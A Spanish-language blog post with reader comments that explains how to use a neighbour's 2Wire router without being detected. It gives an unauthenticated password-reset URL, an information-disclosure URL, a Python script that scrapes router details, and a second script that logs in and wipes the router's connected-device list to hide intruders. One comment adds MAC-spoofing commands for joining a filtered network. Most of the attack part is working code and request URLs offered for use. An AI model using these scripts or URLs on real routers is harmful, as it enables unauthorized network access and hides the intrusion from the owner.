Hace un tiempo documente una técnica para la “Detección de intrusos en nuestra WI-FI“, hoy he decidido publicar una contra-parte, la parte obscura de como no ser detectado. Todo esto empezó con la historia que le paso a un amigo que solía tomar prestada la red de su vecino, continuación expongo su historia:
Antes que nada el hacking no es la intromisión a un sistema, más bien es la comprensión profunda/detallada de tal sistema.
Todo esto me dejo pensando respecto al funcionamiento de estos routers y de como hacerle para no ser detectados, por otra parte he visto algunos documentos respecto a otras técnica por ejemplo:
Cambiando password o reseteando password en modem 2wire
Donde nos explican como al realizar una solicitud al routeador por medio de la URL:
http://home/xslt?PAGE=CD35_SETUP_01_POST&password1=****&password2=****
Al sustituir ***** podemos setear el password de dicho routeador.
para mas info de esta vulnerabilidad seguir reporte [http://seclists.org/bugtraq/2009/Aug/96]
Pero que pasa si lo reseteamos el router?, tendremos Internet pero solo durante un tiempo pues el “vecino”(victima) se artara y nos pasara lo mismo que mi amigo “toma tu RED“.
En cambio podemos pasar desapercibidos si tan solo borramos la cache del routeador, así cuando el vecino visite la pagina del sitio no vera ninguna maquinas conectada lo cual tal vez le intrigue un poco pero notara que tiene Intenet. por otra parte con el script que publique anteriormente pasara lo mismo pues este extrae la información de la misma pagina.
Sin más la dirección para borrar la cache es la siguiente:
http://home/management/xslt?PAGE=J21_NODE_RESET&RESET_PAGE=J21_NODE_RESET&THISPAGE=J21&NEXTPAGE=J21_NODE_RESET
Donde la URL /management/ refiere a un prefijo administrativo, en otras palabras es necesario logearse para acceder a dicha URL.
Debraye de análisis
–¿por que? es mas fácil resetear el password(no requiere autenticación) que borrar el cache…
En concreto no lo se, pero lo que si es obvio es que nos encontramos ante un problema grave en el diseño de estos routeadores, pues no creo que fuera su intensión el que existieran posts como este en donde se expone sus errores
Si partimos de las 2 suposiciones respecto a la ruta que resetea el password:
1.- Se les paso incluir tal ruta a la sección q requiere autenticación /management/
2.- Así lo planificaron.
Si se les paso seria un error IMPERDONABLE!, lo cual me quedan mis dudas, yo opto más por la 2da que así lo planificaron dada su falta de experiencia o capacidad pues:
“No encontraron una forma segura de como resetear la contraseña sin la necesidad de una autenticación previa”.
Y decidieron dejarlo así, subestimando a los usuarios y con la esperanza que nadie indague en sus sistemas.
Eso habla muy mal de ellos ya que normalmente los buenos routers consideran las interfaces de acceso físico(como cable consola y este caso interfaz ethernet) únicas para realizar tales tareas.
Consiguiendo la información del router:
Para acceder a la información no es necesario autenticarte, la pagina 7 es la que muestra al información al cual puedes acceder desde URL que te de acceso a tal información es:
http://home/xslt?PAGE=A07
Bien ahora si nos ponemos un poquito creativos, podemos hacer un script que automatice un poco tal acción y podemos acceder a dicha información sin salirnos de nuestra terminal:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
#
#Muestra la configuración de los ruteadores 2wire de telmex(bastante comunes)
#La salida es en un formato de XML
import urllib2, urllib
import re
ROUTER = "http://192.168.1.254"
MANAGEMENT = 'management'
DS = '/'
#en la pág. 07 esta la información de estos routers
PAGE = "A07"
#Preparamos/abrimos 1conexión para "leer" la pág. de la info del router
opener = urllib2.Request(ROUTER+DS+"xslt?PAGE=A07",None,{})
response = urllib2.urlopen(opener)
response = response.read()
#obteniendo el nombre del routeador
expr = re.compile('\<td\sclass\=\"textmono\"\>([a-zA-Z\-0-9\.\s]+)\<\/td\>')
model = expr.findall(response)
#obtenemos los demas datos del router
expr = re.compile('\<td\sclass\=\"data\"\>([a-zA-Z\-0-9\.\s]+)\<\/td\>')
data = expr.findall(response)
#las posiciones en la lista model definen la variable, ya que estan en función de como aparecen en la página
print """\
<?xml version="1.0"?>
<config>
<title>Demo Config</title>
<router>
<model>"""+model[0]+"""</model>
<serial_number>"""+data[0]+"""</serial_number>
<version_hardware>"""+data[1]+"""</version_hardware>
<version_software>"""+data[2]+"""</version_software>
<key_code>"""+data[3]+"""</key_code>
</router>
</config>
"""
Este script esta disponible en: http://gist.github.com/619905
A partir de dicha información puedes ver los reportes para ver que vulnerabilidades tiene.
Pasar desapercibido borrando la cache del router
En cambio ya conseguiste el acceso a la configuracion del router lo que puedes hacer es borrar la información del cache cada determinado tiempo.
Si deseas visitar la url para borrar la cache el router no te lo permite ya que antes requieres identificarte, entonces previamente tienes que hacerlo y posteriormente resetear la cache.
Esto suele ser algo tedioso, así que decidí hacer un script que automatiza tal proceso(logearte y borrar la cache) y no les pase lo de mi amigo:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2010 Fitorec - <http://fitorec.wordpress.com>
# 2wireResetCache.py
# ____ _ .--.
# | __ |(_) | | ___ ____ ___ ____ | o_o |
# | | _ | ||_ _|/ _ \ / __// _ \ / __/ | :_/ |
# | __ || | | || (_) || | | __/| (__ // \\
# |_| |_| | | \___/ |_| \___/ \___( (| | )
# http://fitorec.wordpress.com /'\_ _/
# \___)=(___/
# Una ves conectado podemos pasar desapercibidos ante el administrador
# de la red solo hay que revisar si existimos en el cache del router
# si es así borramos el cache del router dejándolo vació como si no
# hubiera ninguna máquina conectada a el.
# se considera que la IP del router es 192.168.1.254 caso contrario cambiar
# linea 24,también es necesario conocer la key del router (tip:normalmente los
# usuarios inexpertos le suelen poner la misma que la clave WEB) y sustituir
# dicha clave en la linea 24
import urllib2, urllib
import re
""" IP y contraseña """
KEY = "7972247120"
ROUTER = "http://192.168.1.254"
#------------------------
MANAGEMENT = 'management'
DS = '/'
PAGE = "A02_POST"
THISPAGE = ""
NEXTPAGE = "J01"
CMSKICK = ""
def resetLanCache(password):
cookie_h = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookie_h)
urllib2.install_opener(opener)
ua = 'Mozilla/5.0 (X11; U; Windows seven; es-ES; rv:1.9.0.11)'
ua += ' Gecko/2009061118 Windows seven Firefox/3.0.11'
h = {"User-Agent": ua}
params = urllib.urlencode({"PASSWORD": password, "PAGE" : PAGE, "THISPAGE" : THISPAGE, "NEXTPAGE" : NEXTPAGE, "CMSKICK" : CMSKICK})
r = urllib2.Request(ROUTER+DS+MANAGEMENT+DS+"xslt", headers=h)
f = urllib2.urlopen(r,params)
reset = urllib2.Request(ROUTER+DS+MANAGEMENT+DS+"xslt?PAGE=J21_NODE_RESET&RESET_PAGE=J21_NODE_RESET&THISPAGE=J21&NEXTPAGE=J21_NODE_RESET",None,{})
f = urllib2.urlopen(reset)
htmlContent = f.read()
f.close()
opener = urllib2.Request(ROUTER,None,{})
response = urllib2.urlopen(opener)
response = response.read()
#obteniendo el nombre de las maquinas
expr = re.compile('\<span\sclass\=\"textmono\"\>([a-zA-Z\-0-9\.\s]+)\<\/span\>')
compus = expr.findall(response)
#los dos primeros elementos son falsos y los quitamos
compus = compus[2:]
print 'Maquinas conectadas'
if len(compus)>0 :
print "vamos a borrar las sig. maquinas"
print compus
resetLanCache(KEY)
Espero les sirva!.
P.D. Existen técnicas por si eres el vecino y quieres atrapar a mi amigo, publicare una la próxima semana, bytes!!.


Como siempre generando buenos posts… ¿Pa’ cuándo tu hosting propio?
Pues ahora que tenga dinero $$ para mi hospedaje y dominio, de echo por hacer unos trabajos me habían prometido dármelo, pero puras promesas :¬(, Otra seria abrir un hospedaje con anuncios patrocinados, pero esta idea no me atrae mucho..
Saludos,en cuento lo tenga te aviso.
Pingback: Deteccion de intrusos en nuestra WI-FI – con nmap « Fitorec – Pensamientos Libres!
vivo en un lugar con la red compartida y el admin o un tipo que se quiere pasar de listo desconecta y jala el ancho de banda siempre, creo que hasta sniffea. como puedo detectarlo?
Siempre es bueno contar con una via de comunicación segura con alguien, algun cifrado gpg, ssh, te pueden servir para el problema del sninfeo.
Lo mas recomendable es que trates de indagar la causa de tus problemas de conexión para esto sirve mucho un análisis a la pila del modelo OSI, donde primero que se recomienda revisar es ver si existe la red fisica(la señal en el espacio o el led dle cable ethernet), de ahi el envio de tramas, el encaminamiento de de paquetes, sninfeo de puertos y servicios,capa de sesion, presentacion y aplicacion.
Para analizar las capas 2,3 y 4 hay programas muy buenos en Unix/linuxs que te pueden ayudar.
Yaaa chale bajenle a sus comentarios pinches huelecolas negativos,si el hace este tutorial es para que pinche gente como ustedes salgan de su retrograda misantropia(odio al projimo) y el internet sea accesible para todos,pinches mamones de doble moral y cinicos al extremo…ninitos llorones,popis-snobs juniorsitos que no saben sudar para ganar un sueldo honesto ya que tienen a papa millonario que les paga el internet y mas!!fuck youuuuu
Tiennes razon mi querido solin-robin
lol! La salucion para los que si pagamos internet es configurar el router para que solo tire las ips necesarias… desactivar el wifi wtf?! eso es para noobs
Esa “solución” es bastante simple de saltar ya que el pool las IPs que resuelven los routeadores se basa en la dirección MAC de los equipos, pero… en linux podemos cambiar nuestra dirección MAC, basta que sepa una dirección MAC valida, p.e. 00:11:22:GG:EE:FF.
ifconfig wlan0 hw ether 00:11:22:GG:EE:FFEsto ligaria a mi targeta wlan0 con una dirección MAC valida, faltaria ligarme a tu red p.e. INFITINUMXXX
iwconfig wlan0 essid INFITINUMXXX mode ManagedFinalmente si lanzo el protocolo de resolución dinamico(dhcp).
dhclient -d wlan0Bingo!, tu routeador me daria una ip valida!.
Lo mejor es usar una combinación de todo:
Cambio y ocultación de SSID
Claves WPA2 largas con combinaciones de letras minúsculas, mayúsculas y números
Filtrado por MAC e incluso por IP (desactivación del DHCP en el router)
Evidentemente con esto el router no sera invulnerable (ninguna seguridad es invulnerable al estar hecha por humanos) pero al que quiera entrar en el le sera bastante difícil, nos quitara de enmedio a esos fracasados lusers que se creen hackers cuando leen sobre aircrack.
lo mejor es crear una clave binaria combinada con codigos acci eso nunca falla sobre todo que para bajar los paqutes de dicha informacion demoran horas y si tu router lo configuras de tal forma que cabie de contraseña una por cada dia seria bueno, recuerda que si la clave es facil para ti es facil para los demas.
y tambien robar señal es robar y punto!!!!!!
Sí el detalle es que tmb tienen una URL para resetear dicha contraseña y sí una clave alphanumerica ayuda, pero esto es soportado sobre WAP sin embargo la configuración por defecto del cifrado es WEP y ese es otro problema.
Nunca he intentado promover el robo de la señal, pero si me gusta exponer este tipo de errores de seguridad, creo que las compañias ISP deberían brindar un mejor servicio a sus usuarios finales y no darnos una configuración por defecto tan mala.
Nota: notar que hago uso de la palabra Yippie.
BUEN POST . PERO ME MAREE TE FELICITO…—
Veras el campo password contiene un elemento aleatorio conocido en la jerga seguridad informática
como el grano de sal(security salt), este elemento es generado por única ocasión al momento de guardarlo
en la jerga de joomla lo llaman simplemente como
salt, como lo intente explicar el proceso como joomla almacena su campo password es de la manera siguiente:Favor de verificar la imagen:
http://fitorec.files.wordpress.com/2010/09/joomla_passwords1.png
encrypt(cadena cifrada) en función desalty el password sin cifrar.El password guardado sera igual a la cadena
encrypt) unida por el carácter ‘:’ con la cadenasalt.
¿Me preguntas como le harías para validar la contraseña?
Si reflexionamos un poco nos damos cuenta que si bien
saltes generada de manera aleatoria es también almacenada en la BD, por lo cual la no es necesario generarla posteriormente, para autenticar solo requieres hacer algo similar a:encryptcomosaltdel usuario que se intenta autenticar.encrypt2en función desalty el password sin cifrar que vas a verificar.encryptconencrypt2si son iguales entonces, la autenticación es correcta.creo desde mi punto de vista muy particular que si bien no promueves el robo de señal si insinuas y das claves a los lectores para atraerlos al robo de esta, lo cual se me hace muy deshonesto de tu parte, ya que muchisimas personas muy dificilemnte sostienes este servicio y es muy caro, ejemplo mexico, como para que otros sin pagar un solo peros se roben esto, te gustaria que tu teniendo algo que compraste para ti venga otro y te lo robe? lo permitirias? supongo que, apelo a tu moral par que publiques cosas mas productivas y dejes que nuestro pais avance
Sí en general procuro postear cosas que lea sean útiles y productivas a la comunidad(te invito a que revises mis demas artículos).
Interesante el punto que tocas y sí la verdad es que el servicio de Internet es bastante caro en México y ademas de muy mala calidad tanto en su trasferencia efectiva como sus dispositivos y sus malas configuraciones que nos suelen dejar las compañias ISP mas comunes(sea Prodigy ó CableMas) así me apegue a mi moral desde el momento en que escribí este post pues creo que este tipo de cosas deberían ser de dominio publico(ya que hacen mal su trabajo).
Por otra parte creo que todas las personas deberían tener el derecho al acceso a la Internet😋.
Saludos.